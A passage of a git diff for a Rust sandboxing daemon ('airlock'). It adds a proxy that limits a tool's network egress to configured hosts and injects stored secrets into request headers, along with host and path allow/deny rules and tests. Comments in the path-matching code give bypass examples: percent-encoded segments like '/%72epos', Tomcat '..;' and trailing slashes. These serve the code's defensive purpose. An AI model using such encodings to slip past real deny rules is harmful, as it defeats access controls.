daemon's proxy variables win over anything + // the tool's own `env` set. + session.apply_env(&mut env); + Some(session) } + None => None, }; - let env = exec::build_env(&env_pairs); - // ── 5. Timeout resolution ─────────────────────────────────────────────── + // ── 6. Timeout resolution ─────────────────────────────────────────────── let timeout = tool_config.timeout.unwrap_or(config.timeout); - // ── 6. Policy and sandbox profile construction ────────────────────────── - let mut tool_policy = match policy::build_tool_policy(&tool, &config) { - Ok(p) => p, - Err(e) => { - log_and_send_error( - format!("policy construction failed for {:?}: {e}", tool), - &ring_buffer, - &mut writer, - ) - .await; - return; - } - }; + // ── 7. Policy and sandbox profile construction ────────────────────────── + let proxy_port = proxy_session.as_ref().map(ProxySession::port); + let mut tool_policy = policy::build_tool_policy(tool, config, proxy_port) + .map_err(|e| format!("policy construction failed for {tool:?}: {e}"))?; tool_policy.binary_path = Some(binary.clone()); - let sandbox_profile = match build_platform_sandbox_profile(&tool_policy) { - Ok(p) => p, - Err(e) => { - log_and_send_error( - format!("sandbox profile construction failed for {:?}: {e}", tool), - &ring_buffer, - &mut writer, - ) - .await; - return; - } - }; + let sandbox_profile = build_platform_sandbox_profile(&tool_policy) + .map_err(|e| format!("sandbox profile construction failed for {tool:?}: {e}"))?; - // ── 7. ExecRequest assembly and spawn ─────────────────────────────────── - let request = exec::ExecRequest { + // ── 8. ExecRequest assembly and spawn ─────────────────────────────────── + let spawned = exec::spawn(exec::ExecRequest { binary, args, work_dir: cwd_path, env, sandbox_profile, timeout, - }; + }) + .map_err(|e| format!("spawn failed for {tool:?}: {e}"))?; - let spawned = match exec::spawn(request) { - Ok(s) => s, - Err(e) => { - log_and_send_error( - format!("spawn failed for {:?}: {e}", tool), - &ring_buffer, - &mut writer, - ) - .await; + Ok(StartedTool { + spawned, + timeout, + redactor, + _proxy_session: proxy_session, + }) +} + +/// Handle an exec request: start the tool with [`start_tool`], then +/// 9. Child registration +/// 10. Concurrent I/O loop (output streaming, stdin forwarding, timeout, disconnect) +/// 11. Post-loop cleanup (drain output, send exit, kill if needed) +async fn handle_exec_request( + tool: String, + args: Vec, + cwd: String, + mut framed: tokio_util::codec::FramedRead< + tokio::net::unix::OwnedReadHalf, + tokio_util::codec::LinesCodec, + >, + mut writer: tokio::net::unix::OwnedWriteHalf, + shared: &DaemonShared, +) { + use tokio::io::AsyncWriteExt; + use tokio_stream::StreamExt; + use tokio_util::codec::LinesCodecError; + + let DaemonShared { + ring_buffer, + child_registry, + .. + } = shared; + + // `_proxy_session` must stay a named binding: `_` or `..` would drop the + // session here and take the proxy down before the tool runs. + let StartedTool { + spawned, + timeout, + redactor, + _proxy_session, + } = match start_tool(&tool, args, &cwd, shared) { + Ok(started) => started, + Err(msg) => { + log_and_send_error(msg, ring_buffer, &mut writer).await; return; } }; @@ -1276,11 +1384,11 @@ async fn handle_exec_request( let pid = spawned.pid; let mut child = spawned.child; - // ── 8. Child registration ─────────────────────────────────────────────── + // ── 9. Child registration ─────────────────────────────────────────────── child_registry.insert(pid); ring_buffer.log(format!("tool {:?} spawned (PID: {pid})", tool)); - // ── 9. Set up redaction pipelines ─────────────────────────────────────── + // ── 10. Set up redaction pipelines ────────────────────────────────────── // // For each output stream (stdout/stderr), the pipeline is: // async reader task → std sync channel → blocking redact task → tokio mpsc → select loop @@ -1294,7 +1402,7 @@ async fn handle_exec_request( let (stdout_task, mut stdout_rx) = spawn_redaction_pipeline(redactor.clone(), spawned.stdout); let (stderr_task, mut stderr_rx) = spawn_redaction_pipeline(redactor, spawned.stderr); - // ── 10. Concurrent I/O loop ───────────────────────────────────────────── + // ── 11. Concurrent I/O loop ───────────────────────────────────────────── let mut child_stdin: Option = Some(spawned.stdin); let mut stdin_received = false; let mut stdout_done = false; @@ -1322,36 +1430,16 @@ async fn handle_exec_request( // Stdout redacted output. data = stdout_rx.recv(), if !stdout_done => { match data { - Some(bytes) => { - let text = redact::bytes_to_lossy_utf8(&bytes); - if !text.is_empty() { - let _ = write_ndjson_message( - &mut writer, - &DaemonMessage::Stdout { data: text }, - ).await; - } - } - None => { - stdout_done = true; - } + Some(bytes) => send_output(&mut writer, &bytes, stdout_message).await, + None => stdout_done = true, } } // Stderr redacted output. data = stderr_rx.recv(), if !stderr_done => { match data { - Some(bytes) => { - let text = redact::bytes_to_lossy_utf8(&bytes); - if !text.is_empty() { - let _ = write_ndjson_message( - &mut writer, - &DaemonMessage::Stderr { data: text }, - ).await; - } - } - None => { - stderr_done = true; - } + Some(bytes) => send_output(&mut writer, &bytes, stderr_message).await, + None => stderr_done = true, } } @@ -1427,15 +1515,13 @@ async fn handle_exec_request( let _ = stderr_task.await; // Drain remaining output from channels. - drain_channel_to_client(&mut stdout_rx, &mut writer, true).await; - drain_channel_to_client(&mut stderr_rx, &mut writer, false).await; + drain_channel_to_client(&mut stdout_rx, &mut writer, stdout_message).await; + drain_channel_to_client(&mut stderr_rx, &mut writer, stderr_message).await; // Send exit message. let code = exit_code_from_status(status); let _ = write_ndjson_message(&mut writer, &DaemonMessage::Exit { code }).await; - // Clean up. - child_registry.remove(pid); ring_buffer.log(format!("tool {:?} exited (PID: {pid}, code: {code})", tool)); } @@ -1444,7 +1530,6 @@ async fn handle_exec_request( let _ = exec::kill_process_group(pid, libc::SIGKILL); let code = -1; let _ = write_ndjson_message(&mut writer, &DaemonMessage::Exit { code }).await; - child_registry.remove(pid); ring_buffer.log(format!("tool {:?} wait error (PID: {pid}): {e}", tool)); } @@ -1463,8 +1548,6 @@ async fn handle_exec_request( timeout.as_secs() ); let _ = write_ndjson_message(&mut writer, &DaemonMessage::Error { message: msg }).await; - - child_registry.remove(pid); } TermReason::ClientDisconnect => { @@ -1474,8 +1557,6 @@ async fn handle_exec_request( )); sigterm_then_sigkill(&mut child, pid).await; - - child_registry.remove(pid); // No message to client — already disconnected. } @@ -1497,10 +1578,10 @@ async fn handle_exec_request( ) .await; let _ = write_ndjson_message(&mut writer, &DaemonMessage::Exit { code: -1 }).await; - - child_registry.remove(pid); } } + + child_registry.remove(pid); } // ─── Child lifecycle helpers ───────────────────────────────────────────────── @@ -1529,27 +1610,36 @@ async fn sigterm_then_sigkill(child: &mut tokio::process::Child, pid: u32) { } /// Drain all remaining redacted output from a channel and send it to the client. -/// -/// `is_stdout` selects whether to wrap each chunk as a `Stdout` or `Stderr` -/// NDJSON message. async fn drain_channel_to_client( rx: &mut tokio::sync::mpsc::UnboundedReceiver>, writer: &mut W, - is_stdout: bool, + message: fn(String) -> DaemonMessage, ) { while let Ok(bytes) = rx.try_recv() { - let text = redact::bytes_to_lossy_utf8(&bytes); - if !text.is_empty() { - let msg = if is_stdout { - DaemonMessage::Stdout { data: text } - } else { - DaemonMessage::Stderr { data: text } - }; - let _ = write_ndjson_message(writer, &msg).await; - } + send_output(writer, &bytes, message).await; + } +} + +/// Send one redacted chunk to the client, wrapped by `message`. +async fn send_output( + writer: &mut W, + bytes: &[u8], + message: fn(String) -> DaemonMessage, +) { + let text = redact::bytes_to_lossy_utf8(bytes); + if !text.is_empty() { + let _ = write_ndjson_message(writer, &message(text)).await; } } +fn stdout_message(data: String) -> DaemonMessage { + DaemonMessage::Stdout { data } +} + +fn stderr_message(data: String) -> DaemonMessage { + DaemonMessage::Stderr { data } +} + /// Set up an async reader -> sync channel -> blocking redact -> tokio mpsc pipeline /// for a single output stream (stdout or stderr). /// @@ -1727,12 +1817,14 @@ async fn write_ndjson_message( // ─── Graceful shutdown ────────────────────────────────────────────────────── /// Perform graceful shutdown: signal children, wait, cleanup files. -async fn graceful_shutdown( - child_registry: &ChildRegistry, - ring_buffer: &RingBuffer, - socket_path: &Path, - pid_path: &Path, -) { +async fn graceful_shutdown(shared: &DaemonShared) { + let DaemonShared { + config, + ring_buffer, + child_registry, + .. + } = shared; + // Signal all active children with SIGTERM. let pids = child_registry.all(); if !pids.is_empty() { @@ -1760,14 +1852,8 @@ async fn graceful_shutdown( } } - // Remove socket file. - if let Err(e) = std::fs::remove_file(socket_path) { - ring_buffer.log(format!("failed to remove socket file: {e}")); - } - - // Remove PID file. - if let Err(e) = std::fs::remove_file(pid_path) { - ring_buffer.log(format!("failed to remove PID file: {e}")); + for (path, e) in remove_runtime_files(config.runtime_files()) { + ring_buffer.log(format!("failed to remove {}: {e}", path.display())); } ring_buffer.log("shutdown complete".to_string()); @@ -1825,6 +1911,48 @@ fn write_pid_file(pid_path: &Path, pid: u32) -> Result<(), DaemonError> { mod tests { use super::*; + fn readiness_pair() -> (std::fs::File, ReadinessPipe) { + let mut fds: [libc::c_int; 2] = [0; 2]; + assert_eq!(unsafe { libc::pipe(fds.as_mut_ptr()) }, 0); + let read_end = unsafe { std::fs::File::from_raw_fd(fds[0]) }; + (read_end, ReadinessPipe(fds[1])) + } + + #[test] + fn remove_runtime_files_ignores_missing_files() { + let tmp = tempfile::tempdir().unwrap(); + let present = tmp.path().join("airlock.sock"); + let missing = tmp.path().join("airlock.pid"); + std::fs::write(&present, b"").unwrap(); + + let failed = remove_runtime_files([present.as_path(), missing.as_path()]); + assert!(failed.is_empty(), "{failed:?}"); + assert!(!present.exists()); + } + + #[test] + fn readiness_ready_byte_is_success() { + let (read_end, pipe) = readiness_pair(); + pipe.ready(); + assert_eq!(await_readiness(read_end), Ok(())); + } + + #[test] + fn readiness_failure_carries_the_error_text() { + let (read_end, pipe) = readiness_pair(); + pipe.fail(&DaemonError::AlreadyRunning { pid: 4242 }); + let err = await_readiness(read_end).unwrap_err(); + assert!(err.contains("4242"), "{err}"); + } + + #[test] + fn readiness_eof_without_a_verdict_is_failure() { + let (read_end, pipe) = readiness_pair(); + pipe.write_all(&[]); + let err = await_readiness(read_end).unwrap_err(); + assert!(err.contains("before signalling readiness"), "{err}"); + } + // ── Ring buffer tests ────────────────────────────────────────────────── #[test] @@ -1968,11 +2096,11 @@ mod tests { #[tokio::test] async fn registry_concurrent_access() { - let reg = ChildRegistry::new(); + let reg = Arc::new(ChildRegistry::new()); let mut handles = Vec::new(); for i in 0..10 { - let reg_clone = reg.clone(); + let reg_clone = Arc::clone(®); handles.push(tokio::spawn(async move { for j in 0..100 { let pid = (i * 1000 + j) as u32 + 2; // Ensure PIDs >= 2 @@ -1989,6 +2117,79 @@ mod tests { assert_eq!(pids.len(), 1000); } + // ── Tool env resolution tests ────────────────────────────────────────── + + fn tool_with_env(env: &[(&str, config::EnvValue)]) -> config::ToolConfig { + config::ToolConfig { + env: env + .iter() + .map(|(name, value)| (name.to_string(), value.clone())) + .collect(), + extra_read: Vec::new(), + extra_write: Vec::new(), + timeout: None, + description: None, + proxy: None, + } + } + + fn store_with(label: &str, value: &str, health: Health) -> SecretStore { + let slot = secrets::SecretSlot { + value: Arc::new(secrets::Secret::new(value.to_string())), + health, + }; + Arc::new( + [(label.to_string(), RwLock::new(slot))] + .into_iter() + .collect(), + ) + } + + #[test] + fn resolve_tool_env_fills_in_secret_references() { + let tool = tool_with_env(&[ + ("MODE", config::EnvValue::Static("ci".to_string())), + ("TOKEN", config::EnvValue::SecretRef("tok".to_string())), + ]); + let store = store_with("tok", "s3cret-value", Health::Healthy); + + let env = resolve_tool_env(&tool, &store).unwrap(); + assert_eq!( + env, + [ + ("MODE".to_string(), "ci".to_string()), + ("TOKEN".to_string(), "s3cret-value".to_string()), + ] + ); + } + + #[test] + fn resolve_tool_env_refuses_a_label_missing_from_the_store() { + let tool = tool_with_env(&[("TOKEN", config::EnvValue::SecretRef("gone".to_string()))]); + let store = store_with("tok", "s3cret-value", Health::Healthy); + + let err = resolve_tool_env(&tool, &store).unwrap_err(); + assert!(err.contains("\"gone\""), "{err}"); + } + + #[test] + fn resolve_tool_env_refuses_a_stale_secret_without_naming_its_value() { + let tool = tool_with_env(&[("TOKEN", config::EnvValue::SecretRef("tok".to_string()))]); + let store = store_with( + "tok", + "s3cret-value", + Health::Stale { + reason: "command exited 1".to_string(), + since: std::time::Instant::now(), + }, + ); + + let err = resolve_tool_env(&tool, &store).unwrap_err(); + assert!(err.contains("\"tok\" is stale"), "{err}"); + assert!(err.contains("command exited 1"), "{err}"); + assert!(!err.contains("s3cret-value"), "{err}"); + } + // ── Stale state detection tests ──────────────────────────────────────── #[test] @@ -1996,8 +2197,9 @@ mod tests { let tmp = tempfile::tempdir().unwrap(); let pid_path = tmp.path().join("airlock.pid"); let socket_path = tmp.path().join("airlock.sock"); + let ca_path = tmp.path().join("airlock-ca.pem"); - let result = check_and_cleanup_stale_state(&pid_path, &socket_path); + let result = check_and_cleanup_stale_state(&pid_path, &socket_path, &ca_path); assert!(result.is_ok()); } @@ -2012,7 +2214,8 @@ mod tests { std::fs::write(&pid_path, "999999999\n").unwrap(); std::fs::write(&socket_path, "dummy").unwrap(); - let result = check_and_cleanup_stale_state(&pid_path, &socket_path); + let ca_path = tmp.path().join("airlock-ca.pem"); + let result = check_and_cleanup_stale_state(&pid_path, &socket_path, &ca_path); assert!(result.is_ok()); assert!(!pid_path.exists(), "PID file should be cleaned up"); assert!(!socket_path.exists(), "socket file should be cleaned up"); @@ -2028,7 +2231,8 @@ mod tests { let my_pid = std::process::id(); std::fs::write(&pid_path, format!("{my_pid}\n")).unwrap(); - let result = check_and_cleanup_stale_state(&pid_path, &socket_path); + let ca_path = tmp.path().join("airlock-ca.pem"); + let result = check_and_cleanup_stale_state(&pid_path, &socket_path, &ca_path); assert!(result.is_err()); let err = result.unwrap_err(); let msg = err.to_string(); @@ -2051,7 +2255,8 @@ mod tests { // No PID file, but socket exists. std::fs::write(&socket_path, "stale").unwrap(); - let result = check_and_cleanup_stale_state(&pid_path, &socket_path); + let ca_path = tmp.path().join("airlock-ca.pem"); + let result = check_and_cleanup_stale_state(&pid_path, &socket_path, &ca_path); assert!(result.is_ok()); assert!(!socket_path.exists(), "stale socket should be cleaned up"); } @@ -2067,7 +2272,8 @@ mod tests { // leave the socket in place rather than silently severing it. let _listener = std::os::unix::net::UnixListener::bind(&socket_path).unwrap(); - let result = check_and_cleanup_stale_state(&pid_path, &socket_path); + let ca_path = tmp.path().join("airlock-ca.pem"); + let result = check_and_cleanup_stale_state(&pid_path, &socket_path, &ca_path); assert!( matches!(result, Err(DaemonError::SocketInUse { .. })), "expected SocketInUse, got: {result:?}" diff --git a/src/exec.rs b/src/exec.rs index baf14e5..d7d126b 100644 --- a/src/exec.rs +++ b/src/exec.rs @@ -187,7 +187,7 @@ pub fn resolve_binary(tool_name: &str) -> Result { /// The returned map contains exactly: /// - The tool's declared `secrets` (already unwrapped from `Secret` /// by the caller; this function does not interact with the `redact` crate). -/// - Essential pass-through variables (see [`ESSENTIAL_VARS`]) — process +/// - Essential pass-through variables (see `ESSENTIAL_VARS`) — process /// basics, terminal, timezone, and the standard locale family — copied /// from the daemon's environment. An essential variable absent from the /// daemon's environment is silently omitted; this is not an error. @@ -901,12 +901,12 @@ mod tests { #[test] #[cfg(any(target_os = "macos", target_os = "linux"))] fn exec_request_can_be_constructed_and_accepted_by_spawn() { - use crate::sandbox::{SandboxBackend, ToolPolicy}; + use crate::sandbox::{NetworkAccess, SandboxBackend, ToolPolicy}; let policy = ToolPolicy { read_paths: vec![PathBuf::from("/tmp")], read_write_paths: vec![], - requires_network: false, + network: NetworkAccess::None, binary_path: None, }; @@ -1060,7 +1060,7 @@ mod tests { #[tokio::test] async fn landlock_fd_closed_in_parent_after_spawn() { use crate::sandbox::linux::{FdClosedProbe, LinuxLandlock}; - use crate::sandbox::{SandboxBackend, ToolPolicy}; + use crate::sandbox::{NetworkAccess, SandboxBackend, ToolPolicy}; let mut read_paths: Vec = vec![ PathBuf::from("/usr/lib"), @@ -1079,7 +1079,7 @@ mod tests { let policy = ToolPolicy { read_paths, read_write_paths: vec![PathBuf::from("/tmp")], - requires_network: false, + network: NetworkAccess::None, binary_path: None, }; diff --git a/src/lib.rs b/src/lib.rs index 66e2cb9..836cfa3 100644 --- a/src/lib.rs +++ b/src/lib.rs @@ -4,6 +4,7 @@ pub mod daemon; pub mod exec; pub mod policy; pub mod protocol; +pub mod proxy; pub mod redact; pub mod refresh; pub mod run; diff --git a/src/main.rs b/src/main.rs index bfe7208..c2322b0 100644 --- a/src/main.rs +++ b/src/main.rs @@ -201,10 +201,9 @@ fn read_pid_and_check_liveness(pid_path: &Path) -> Result) -> Result<(), ExitCode> { return Ok(()); } PidCheckResult::Stale => { - cleanup_stale_files(&paths.pid_path, &paths.socket_path); + cleanup_stale_files(&paths); eprintln!("cleaned up stale PID file"); return Ok(()); } @@ -350,7 +349,7 @@ fn stop_daemon(cwd: &Path, config_path: Option<&Path>) -> Result<(), ExitCode> { let err = std::io::Error::last_os_error(); if err.raw_os_error() == Some(libc::ESRCH) { // Race condition: process exited between liveness check and SIGTERM. - cleanup_stale_files(&paths.pid_path, &paths.socket_path); + cleanup_stale_files(&paths); eprintln!("daemon stopped"); return Ok(()); } @@ -544,6 +543,19 @@ fn cmd_list(config_path: Option<&Path>) -> ExitCode { } } } + + if let Some(policy) = &tool.proxy { + println!(" proxy tool; reachable hosts:"); + for route in &policy.routes { + match &route.inject { + Some(inject) => println!( + " {} ({} injected from )", + route.host, inject.header, inject.secret + ), + None => println!(" {} (no credential)", route.host), + } + } + } } ExitCode::SUCCESS diff --git a/src/policy.rs b/src/policy.rs index 02cccf5..7b33b30 100644 --- a/src/policy.rs +++ b/src/policy.rs @@ -14,7 +14,7 @@ use std::path::{Path, PathBuf}; use thiserror::Error; use crate::config::Config; -use crate::sandbox::{AgentPolicy, ToolPolicy}; +use crate::sandbox::{AgentPolicy, NetworkAccess, ToolPolicy}; // ─── Error type ─────────────────────────────────────────────────────────────── @@ -48,6 +48,18 @@ pub enum PolicyError { /// The underlying I/O error. source: std::io::Error, }, + + /// A proxy tool without a proxy port, or an ordinary tool with one. + #[error( + "tool {name:?}: {}", + if *.proxy_tool { "proxy tool has no proxy port" } else { "ordinary tool was given a proxy port" } + )] + ProxyPortMismatch { + /// The tool name. + name: String, + /// Whether the tool is declared with `proxy = true`. + proxy_tool: bool, + }, } // ─── Tool existence validation ──────────────────────────────────────────────── @@ -127,18 +139,39 @@ pub fn validate_cwd(cwd: &Path, sandbox_root: &Path) -> Result<(), PolicyError> /// All paths in the config are already fully resolved (tilde-expanded and /// relative paths resolved against the sandbox root) by the config module. /// -/// `requires_network` is unconditionally set to `true` for all tools. +/// `network` is [`NetworkAccess::Full`] for an ordinary tool and +/// [`NetworkAccess::ProxyOnly`] for a proxy tool; the caller supplies the +/// proxy's bound port because it is only known once the per-exec listener is +/// up. /// /// # Errors /// /// Returns [`PolicyError::UnknownTool`] if the tool name is not found in the -/// config's `[tools.*]` section. -pub fn build_tool_policy(tool_name: &str, config: &Config) -> Result { +/// config's `[tools.*]` section, and [`PolicyError::ProxyPortMismatch`] if +/// `proxy_port` is given for an ordinary tool or missing for a proxy tool. +/// The mismatch is an error rather than a fallback to full network, so a +/// caller that forgets the port cannot give a proxy tool open egress. +pub fn build_tool_policy( + tool_name: &str, + config: &Config, + proxy_port: Option, +) -> Result { // Validate tool existence first. validate_tool_exists(tool_name, config)?; let tool_config = &config.tools[tool_name]; + let network = match (tool_config.proxy.is_some(), proxy_port) { + (true, Some(port)) => NetworkAccess::ProxyOnly(port), + (false, None) => NetworkAccess::Full, + (proxy_tool, _) => { + return Err(PolicyError::ProxyPortMismatch { + name: tool_name.to_string(), + proxy_tool, + }); + } + }; + // Build read_paths: global filesystem read + tool's extra_read. let mut read_paths: Vec = Vec::new(); read_paths.extend(config.filesystem_read.iter().cloned()); @@ -153,7 +186,7 @@ pub fn build_tool_policy(tool_name: &str, config: &Config) -> Result> = + LazyLock::new(|| Arc::new(rustls::crypto::ring::default_provider())); + +/// TLS versions offered to the tool and to the upstream. TLS 1.2 is the floor. +const TLS_VERSIONS: &[&SupportedProtocolVersion] = + &[&rustls::version::TLS13, &rustls::version::TLS12]; + +/// Environment variables the daemon sets for a proxy tool, pointing it at the +/// proxy and at the CA it must trust ([`server::ProxySession::apply_env`]). +/// [`is_reserved_env_var`] derives the names config may not set from these +/// lists, so the two cannot drift. +const PROXY_URL_VARS: &[&str] = &[ + "HTTPS_PROXY", + "https_proxy", + "HTTP_PROXY", + "http_proxy", + "ALL_PROXY", + "all_proxy", +]; +const NO_PROXY_VARS: &[&str] = &["NO_PROXY", "no_proxy"]; +const CA_BUNDLE_VARS: &[&str] = &[ + "CURL_CA_BUNDLE", + "SSL_CERT_FILE", + "REQUESTS_CA_BUNDLE", + "NODE_EXTRA_CA_CERTS", +]; +/// Reserved but left unset: OpenSSL adds this directory's CAs to the ones in +/// `SSL_CERT_FILE`, so config must not be able to point it anywhere. +const RESERVED_UNSET_VARS: &[&str] = &["SSL_CERT_DIR"]; + +/// Whether `name` is an env var config may not set for a proxy tool: a +/// config value would either be overwritten at spawn or, worse, steer the +/// tool around the proxy. Clients read the proxy variables in either case +/// (`http_proxy` is the only form curl honors for plain HTTP), so the check +/// ignores case. +pub fn is_reserved_env_var(name: &str) -> bool { + [ + PROXY_URL_VARS, + NO_PROXY_VARS, + CA_BUNDLE_VARS, + RESERVED_UNSET_VARS, + ] + .iter() + .flat_map(|vars| vars.iter()) + .any(|reserved| reserved.eq_ignore_ascii_case(name)) +} + +/// Headers a route may not inject: they frame the request or address the +/// proxy hop, so letting config set them would desync the proxy from the +/// upstream's view of the message. +const FORBIDDEN_INJECT_HEADERS: &[&str] = &[ + "connection", + "content-length", + "host", + "keep-alive", + "proxy-authorization", + "proxy-connection", + "te", + "trailer", + "transfer-encoding", + "upgrade", +]; + +/// Placeholder in `inject.value` that is replaced by the secret. +const SECRET_PLACEHOLDER: &str = "{secret}"; + +/// Why a `[[tools.X.routes]]` entry was rejected. +#[derive(Debug, Error, PartialEq, Eq)] +pub enum RouteError { + /// The `host` pattern is not a plain DNS name or `*.`-prefixed DNS name. + #[error("invalid host pattern {pattern:?}: {reason}")] + InvalidHost { + /// The offending pattern. + pattern: String, + /// Why it was rejected. + reason: &'static str, + }, + + /// An `allow` / `deny` entry is not of the form `METHOD /path`. + #[error("invalid rule {rule:?}: {reason}")] + InvalidRule { + /// The offending rule. + rule: String, + /// Why it was rejected. + reason: &'static str, + }, + + /// The `inject` table is malformed. + #[error("invalid inject spec: {reason}")] + InvalidInject { + /// Why it was rejected. + reason: &'static str, + }, +} + +// ─── Host patterns ──────────────────────────────────────────────────────────── + +/// A destination host a route applies to. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum HostPattern { + /// Matches exactly this (lowercased) DNS name. + Exact(String), + /// `*.suffix`: matches exactly one additional label in front of `suffix`. + /// Holds the suffix without the leading `*.`. + Wildcard(String), +} + +impl HostPattern { + /// Parse a `host` value from config. + /// + /// IP literals, ports, and schemes are rejected: a route names a DNS + /// identity that the upstream TLS certificate is verified against, and + /// none of those have one. + pub fn parse(pattern: &str) -> Result { + let err = |reason| RouteError::InvalidHost { + pattern: pattern.to_string(), + reason, + }; + + let lowered = pattern.to_ascii_lowercase(); + let (wildcard, name) = match lowered.strip_prefix("*.") { + Some(rest) => (true, rest), + None => (false, lowered.as_str()), + }; + + if name.is_empty() { + return Err(err("host is empty")); + } + if name.len() > 253 { + return Err(err("host exceeds 253 characters")); + } + + let labels: Vec<&str> = name.split('.').collect(); + for label in &labels { + if label.is_empty() || label.len() > 63 { + return Err(err("each label must be 1-63 characters")); + } + if !label + .bytes() + .all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || b == b'-') + { + return Err(err( + "only letters, digits, '-' and '.' are allowed (no scheme, port, path, or inner '*')", + )); + } + if label.starts_with('-') || label.ends_with('-') { + return Err(err("labels must not start or end with '-'")); + } + } + // A numeric final label is how IPv4 literals (and their octal/hex-free + // decimal forms) look; no real TLD is all digits. + if labels[labels.len() - 1].bytes().all(|b| b.is_ascii_digit()) { + return Err(err("IP literals are not allowed; use a DNS name")); + } + if wildcard && labels.len() < 2 { + return Err(err( + "wildcard must cover a registrable domain (e.g. \"*.example.com\", not \"*.com\")", + )); + } + + Ok(if wildcard { + HostPattern::Wildcard(name.to_string()) + } else { + HostPattern::Exact(name.to_string()) + }) + } + + /// Whether `host` (as taken from a CONNECT target or absolute URI, without + /// port) falls under this pattern. + pub fn matches(&self, host: &str) -> bool { + // Patterns are ASCII-only, and the wildcard arm slices by byte offset. + if !host.is_ascii() { + return false; + } + let host = host.strip_suffix('.').unwrap_or(host); + match self { + HostPattern::Exact(name) => host.eq_ignore_ascii_case(name), + HostPattern::Wildcard(suffix) => { + // Compare from the right so `evil-example.com` cannot match + // `*.example.com`: the byte before the suffix must be the dot + // that ends exactly one leading label. + let Some(split) = host.len().checked_sub(suffix.len() + 1) else { + return false; + }; + let (label, rest) = host.split_at(split); + !label.is_empty() + && !label.contains('.') + && rest.as_bytes()[0] == b'.' + && rest[1..].eq_ignore_ascii_case(suffix) + } + } + } +} + +impl std::fmt::Display for HostPattern { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + HostPattern::Exact(name) => f.write_str(name), + HostPattern::Wildcard(suffix) => write!(f, "*.{suffix}"), + } + } +} + +// ─── Method / path rules ────────────────────────────────────────────────────── + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Segment { + Literal(String), + /// `*`: exactly one non-empty segment. + One, + /// `**`: zero or more trailing segments. Only valid as the last segment. + Rest, +} + +/// One `METHOD /path` entry from a route's `allow` or `deny` list. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PathRule { + /// Uppercase method, or `None` for `*` (any method). + method: Option, + segments: Vec, +} + +impl PathRule { + /// Parse a rule such as `GET /v2/projects/*/locations/**`. + pub fn parse(rule: &str) -> Result { + let err = |reason| RouteError::InvalidRule { + rule: rule.to_string(), + reason, + }; + + let Some((method, path)) = rule.split_once(' ') else { + return Err(err("expected \"METHOD /path\"")); + }; + let method = if method == "*" { + None + } else if !method.is_empty() && method.bytes().all(|b| b.is_ascii_uppercase()) { + Some(method.to_string()) + } else { + return Err(err("method must be uppercase letters or \"*\"")); + }; + + let Some(path) = path.strip_prefix('/') else { + return Err(err("path must start with '/'")); + }; + if path.contains(['?', '#', ' ']) { + return Err(err( + "path must not contain '?', '#' or spaces (rules match the path only)", + )); + } + + let raw: Vec<&str> = path.split('/').collect(); + let mut segments = Vec::with_capacity(raw.len()); + for (i, seg) in raw.iter().enumerate() { + let last = i == raw.len() - 1; + segments.push(match *seg { + "**" if last => Segment::Rest, + "**" => return Err(err("\"**\" is only allowed as the final segment")), + "*" => Segment::One, + "" if !last => return Err(err("path must not contain empty segments (\"//\")")), + "." | ".." => return Err(err("path must not contain \".\" or \"..\" segments")), + s if s.contains('*') => { + return Err(err("'*' must be a whole segment (\"*\" or \"**\")")); + } + // Request paths are percent-decoded before matching, so a + // rule is always written in decoded form; an escape here + // could never match anything. + s if s.contains('%') => { + return Err(err( + "path must not contain percent-escapes (write the decoded form)", + )); + } + s => Segment::Literal(s.to_string()), + }); + } + + Ok(PathRule { method, segments }) + } + + fn matches(&self, method: &str, path_segments: &[Vec]) -> bool { + if let Some(m) = &self.method { + // Case-insensitive so a `deny = ["DELETE /**"]` still bites if the + // client sends `delete` and the upstream happens to accept it. + if !m.eq_ignore_ascii_case(method) { + return false; + } + } + + let mut rest = path_segments; + for seg in &self.segments { + match seg { + Segment::Rest => return true, + Segment::One => match rest.split_first() { + Some((s, tail)) if !s.is_empty() => rest = tail, + _ => return false, + }, + Segment::Literal(lit) => match rest.split_first() { + Some((s, tail)) if s == lit.as_bytes() => rest = tail, + _ => return false, + }, + } + } + rest.is_empty() + } +} + +/// Split a request path into percent-decoded segments for rule matching, or +/// `None` if the path is one the rules cannot be evaluated against safely. +/// +/// The upstream will decode the path before routing it, so rules have to be +/// matched against the decoded form — otherwise `/%72epos` slips past a +/// `deny = ["DELETE /repos/**"]` and is served as `/repos`. Decoding is done +/// exactly once per segment. Anything whose meaning still depends on how +/// the upstream normalizes — an escape that yields a `/`, `\`, NUL or a +/// second-round `%`, a `.` / `..` segment, an empty segment, a malformed +/// escape — is refused rather than guessed at, since matching `allow` as one +/// path and being served as another is exactly the bypass the rules exist +/// to prevent. The same checks apply to each segment with its `;params` +/// removed, so Tomcat's `..;` is refused like `..`. +fn split_request_path(path: &str) -> Option>> { + let path = path.strip_prefix('/')?; + if path.contains('\\') { + return None; + } + + let raw: Vec<&str> = path.split('/').collect(); + let last = raw.len() - 1; + let mut segments = Vec::with_capacity(raw.len()); + for (i, seg) in raw.iter().enumerate() { + let decoded = decode_segment(seg)?; + if decoded.iter().any(|b| matches!(b, b'/' | b'\\' | b'%' | 0)) { + return None; + } + let bare = strip_params(&decoded); + if bare == b"." || bare == b".." || (bare.is_empty() && i != last) { + return None; + } + segments.push(decoded); + } + Some(segments) +} + +/// A segment without its `;params`, as servlet containers (Tomcat, Spring) +/// route it. +fn strip_params(seg: &[u8]) -> &[u8] { + seg.iter() + .position(|&b| b == b';') + .map_or(seg, |i| &seg[..i]) +} + +/// Every path an upstream may route `segments` as: as sent, with `;params` +/// removed from each segment, and either of those without a trailing slash +/// (Express, Django and many gateways treat `/x/` as `/x`). A `deny` rule +/// must hold for all of them, or `/secrets/x/` slips past +/// `deny = ["DELETE /secrets/*"]`. +fn upstream_readings(segments: &[Vec]) -> Vec>> { + let stripped = segments.iter().map(|s| strip_params(s).to_vec()).collect(); + let mut readings = vec![segments.to_vec(), stripped]; + for i in 0..2 { + // `/` is the root, not a trailing slash on something else. + if readings[i].len() > 1 && readings[i].last().is_some_and(|s| s.is_empty()) { + let mut trimmed = readings[i].clone(); + trimmed.pop(); + readings.push(trimmed); + } + } + readings +} + +/// Percent-decode one path segment, or `None` on a malformed escape (`%` not +/// followed by two hex digits). +fn decode_segment(seg: &str) -> Option> { + let mut out = Vec::with_capacity(seg.len()); + let 